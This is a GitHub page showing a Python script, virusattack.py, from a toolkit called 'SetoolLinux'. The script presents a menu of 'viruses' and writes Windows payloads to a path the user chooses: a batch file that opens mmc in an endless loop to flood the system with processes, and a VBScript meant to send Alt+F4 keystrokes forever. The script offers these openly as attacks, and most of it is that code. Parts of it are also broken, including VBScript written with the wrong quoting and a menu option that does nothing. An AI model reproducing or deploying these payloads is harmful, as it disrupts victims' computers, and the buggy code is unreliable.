-
Notifications
You must be signed in to change notification settings - Fork 10
/
virusattack.py
128 lines (114 loc) · 3.63 KB
/
virusattack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#the virus attack
#auther:
#virus
#THE START LOGO
#USE 'DEF' DO
def fileload():
print("")
print("finish the file:setoolLin.py...")
print("finish the file:virusattack.py")
print("finish the date file:date.txt")
with open("date.txt","a") as f:
f.write("the virusattack finish...")
f.close()
#======================================
def onlaoding():
print("")
print("")
print("===========================")
print("--SetoolLinux>>Virus Attack--")
print("===========================")
print("")
print("")
#end the def
fileload()
#to run the function
def re():
print("")
return True
onlaoding()
#run the function onlaoding() , It's the start logo to show .
def list():
print("List Of The Virus-->")
print("")
#show the meau of the virus attack console
#the list of the virus
print("Virus System File")
print("1:-Window Virus -Windows *.bat")
print("2:-Key Virus -Windows *.vbs")
print("3:-Blue screen Virus -Windows *.bat")
print('4:-Basic Virus -Windows *.bat;*.vbs')
print('[*]You can use Basic virus in the path: /basic_virus')
#end the list
#-window virus ; key virus ; blue screen virus
print("Enter The Key 4 Back")
print("==================================================")
list()
#the function list()
th = input("SetoolLinux_>Virus Attack_>")
con1 = "Window Virus"
con2 = "Key Virus"
con3 = "Blue Screen Virus"
if th == "use 1" :
print("Content:" + con1)
print("")
print("You Enter The Virus Path Must: .../.../")
filepath = input("Enter The Virus Path To Make:")
import os
#the reture is true
if os.path.exists(filepath):
print("The File Path True...")
#write the virus to the file
file = filepath +"index.bat"
with open(file,"a") as f:
f.write(":start \r\n")
f.write("start mmc \r\n")
f.write("goto start \r\n")
f.close()
#================================================================
if th == "use 2" :
print("Content:" + con2)
print("")
print("You Enter The Virus Path Must: .../.../")
filepath = input("Enter The Virus Path To Make:")
import os
#the reture is true
if os.path.exists(filepath):
print("The File Path True...")
#write the virus to the file
file = filepath +"index.vbs"
with open(file,"a") as f:
f.write("set ws = CreateObject('Wscript.shell')\r\n")
f.write("do\r\n")
f.write("ws.Sendkeys'%{F4}'\r\n")
f.write("loop\r\n")
f.close()
#================================================================
#=======================================================
#wirte the virus to the file
#end the 'use 1'
#============================================
if th == "use 3" :
print("Content:" + con3)
print("")
print("The File Path True...")
print("save the file in the /SetoolLinux/formwork/index.bat")
a = input("")
#================================================================
if th == "4":
import os
os.system("python3 setoollin.py")
#back the main software
#end the cirus attack
def re():
return True
re()
else :
import os
os.system("python3 virusattack.py")
print("")
print("[!]loading...")
print("[!]The Virus Loading...")
print("[!]Finish the file")
import os
os.system("python3 setoollin.py")